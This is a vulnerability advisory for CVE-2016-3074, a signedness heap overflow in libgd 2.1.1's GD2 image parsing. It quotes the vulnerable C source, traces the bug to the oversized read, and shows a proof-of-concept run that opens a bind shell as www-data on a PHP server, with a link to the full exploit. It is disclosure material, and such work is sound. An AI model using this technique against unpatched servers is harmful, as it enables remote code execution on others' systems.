libgd 2.1.1 – Signedness Heap Overflow

  • 作者: Hans Jerry Illikainen
    日期: 2016-04-26
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/39736/
  • Overview
    ========
    
    libgd [1] is an open-source image library.It is perhaps primarily used
    by the PHP project.It has been bundled with the default installation
    of PHP since version 4.3 [2].
    
    A signedness vulnerability (CVE-2016-3074) exist in libgd 2.1.1 which
    may result in a heap overflow when processing compressed gd2 data.
    
    
    Details
    =======
    
    4 bytes representing the chunk index size is stored in a signed integer,
    chunkIdx[i].size, by `gdGetInt()' during the parsing of GD2 headers:
    
    libgd-2.1.1/src/gd_gd2.c:
    ,----
    |53 typedef struct {
    |54 int offset;
    |55 int size;
    |56 }
    |57 t_chunk_info;
    `----
    
    
    libgd-2.1.1/src/gd_gd2.c:
    ,----
    |65 static int
    |66 _gd2GetHeader (gdIOCtxPtr in, int *sx, int *sy,
    |67int *cs, int *vers, int *fmt, int *ncx, int *ncy,
    |68t_chunk_info ** chunkIdx)
    |69 {
    | ...
    |73 t_chunk_info *cidx;
    | ...
    | 155 if (gd2_compressed (*fmt)) {
    | ...
    | 163 for (i = 0; i < nc; i++) {
    | ...
    | 167 if (gdGetInt (&cidx[i].size, in) != 1) {
    | 168 goto fail2;
    | 169 };
    | 170 };
    | 171 *chunkIdx = cidx;
    | 172 };
    | ...
    | 181 }
    `----
    
    
    `gdImageCreateFromGd2Ctx()' and `gdImageCreateFromGd2PartCtx()' then
    allocates memory for the compressed data based on the value of the
    largest chunk size:
    
    libgd-2.1.1/src/gd_gd2.c:
    ,----
    | 371|637 if (gd2_compressed (fmt)) {
    | 372|638 /* Find the maximum compressed chunk size. */
    | 373|639 compMax = 0;
    | 374|640 for (i = 0; (i < nc); i++) {
    | 375|641 if (chunkIdx[i].size > compMax) {
    | 376|642 compMax = chunkIdx[i].size;
    | 377|643 };
    | 378|644 };
    | 379|645 compMax++;
    | ...|...
    | 387|656 compBuf = gdCalloc (compMax, 1);
    | ...|...
    | 393|661 };
    `----
    
    
    A size of <= 0 results in `compMax' retaining its initial value during
    the loop, followed by it being incremented to 1.Since `compMax' is
    used as the nmemb for `gdCalloc()', this leads to a 1*1 byte allocation
    for `compBuf'.
    
    This is followed by compressed data being read to `compBuf' based on the
    current (potentially negative) chunk size:
    
    libgd-2.1.1/src/gd_gd2.c:
    ,----
    | 339 BGD_DECLARE(gdImagePtr) gdImageCreateFromGd2Ctx (gdIOCtxPtr in)
    | 340 {
    | ...
    | 413 if (gd2_compressed (fmt)) {
    | 414
    | 415 chunkLen = chunkMax;
    | 416
    | 417 if (!_gd2ReadChunk (chunkIdx[chunkNum].offset,
    | 418 compBuf,
    | 419 chunkIdx[chunkNum].size,
    | 420 (char *) chunkBuf, &chunkLen, in)) {
    | 421 GD2_DBG (printf ("Error reading comproessed chunk\n"));
    | 422 goto fail;
    | 423 };
    | 424
    | 425 chunkPos = 0;
    | 426 };
    | ...
    | 501 }
    `----
    
    
    libgd-2.1.1/src/gd_gd2.c:
    ,----
    | 585 BGD_DECLARE(gdImagePtr) gdImageCreateFromGd2PartCtx (gdIOCtx * in, int srcx, int srcy, int w, int h)
    | 586 {
    | ...
    | 713 if (!gd2_compressed (fmt)) {
    | ...
    | 731 } else {
    | 732 chunkNum = cx + cy * ncx;
    | 733
    | 734 chunkLen = chunkMax;
    | 735 if (!_gd2ReadChunk (chunkIdx[chunkNum].offset,
    | 736 compBuf,
    | 737 chunkIdx[chunkNum].size,
    | 738 (char *) chunkBuf, &chunkLen, in)) {
    | 739 printf ("Error reading comproessed chunk\n");
    | 740 goto fail2;
    | 741 };
    | ...
    | 746 };
    | ...
    | 815 }
    `----
    
    
    The size is subsequently interpreted as a size_t by `fread()' or
    `memcpy()', depending on how the image is read:
    
    libgd-2.1.1/src/gd_gd2.c:
    ,----
    | 221 static int
    | 222 _gd2ReadChunk (int offset, char *compBuf, int compSize, char *chunkBuf,
    | 223uLongf * chunkLen, gdIOCtx * in)
    | 224 {
    | ...
    | 236 if (gdGetBuf (compBuf, compSize, in) != compSize) {
    | 237 return FALSE;
    | 238 };
    | ...
    | 251 }
    `----
    
    libgd-2.1.1/src/gd_io.c:
    ,----
    | 211 int gdGetBuf(void *buf, int size, gdIOCtx *ctx)
    | 212 {
    | 213 return (ctx->getBuf)(ctx, buf, size);
    | 214 }
    `----
    
    
    For file contexts:
    
    libgd-2.1.1/src/gd_io_file.c:
    ,----
    |52 BGD_DECLARE(gdIOCtx *) gdNewFileCtx(FILE *f)
    |53 {
    | ...
    |67 ctx->ctx.getBuf = fileGetbuf;
    | ...
    |76 }
    | ...
    |92 static int fileGetbuf(gdIOCtx *ctx, void *buf, int size)
    |93 {
    |94 fileIOCtx *fctx;
    |95 fctx = (fileIOCtx *)ctx;
    |96
    |97 return (fread(buf, 1, size, fctx->f));
    |98 }
    `----
    
    
    And for dynamic contexts:
    
    libgd-2.1.1/src/gd_io_dp.c:
    ,----
    |74 BGD_DECLARE(gdIOCtx *) gdNewDynamicCtxEx(int initialSize, void *data, int freeOKFlag)
    |75 {
    | ...
    |95 ctx->ctx.getBuf = dynamicGetbuf;
    | ...
    | 104 }
    | ...
    | 256 static int dynamicGetbuf(gdIOCtxPtr ctx, void *buf, int len)
    | 257 {
    | ...
    | 280 memcpy(buf, (void *) ((char *)dp->data + dp->pos), rlen);
    | ...
    | 284 }
    `----
    
    
    PoC
    ===
    
    Against Ubuntu 15.10 amd64 running nginx with php5-fpm and php5-gd [3]:
    
    ,----
    | $ python exploit.py --bind-port 5555 http://1.2.3.4/upload.php
    | [*] this may take a while
    | [*] offset 912 of 10000...
    | [+] connected to 1.2.3.4:5555
    | id
    | uid=33(www-data) gid=33(www-data) groups=33(www-data)
    | 
    | uname -a
    | Linux wily64 4.2.0-35-generic #40-Ubuntu SMP Tue Mar 15 22:15:45 UTC
    | 2016 x86_64 x86_64 x86_64 GNU/Linux
    | 
    | dpkg -l|grep -E "php5-(fpm|gd)"
    | iiphp5-fpm 5.6.11+dfsg-1ubuntu3.1 ...
    | iiphp5-gd5.6.11+dfsg-1ubuntu3.1 ...
    | 
    | cat upload.php
    | <?php
    | imagecreatefromgd2($_FILES["file"]["tmp_name"]);
    | ?>
    `----
    
    
    Solution
    ========
    
    This bug has been fixed in git HEAD [4].
    
    Full Proof of Concept:
    https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39736.zip
    
    Footnotes
    _________
    
    [1] [http://libgd.org/]
    [2] [https://en.wikipedia.org/wiki/Libgd]
    [3] [https://github.com/dyntopia/exploits/tree/master/CVE-2016-3074]
    [4] [https://github.com/libgd/libgd/commit/2bb97f407c1145c850416a3bfbcc8cf124e68a19]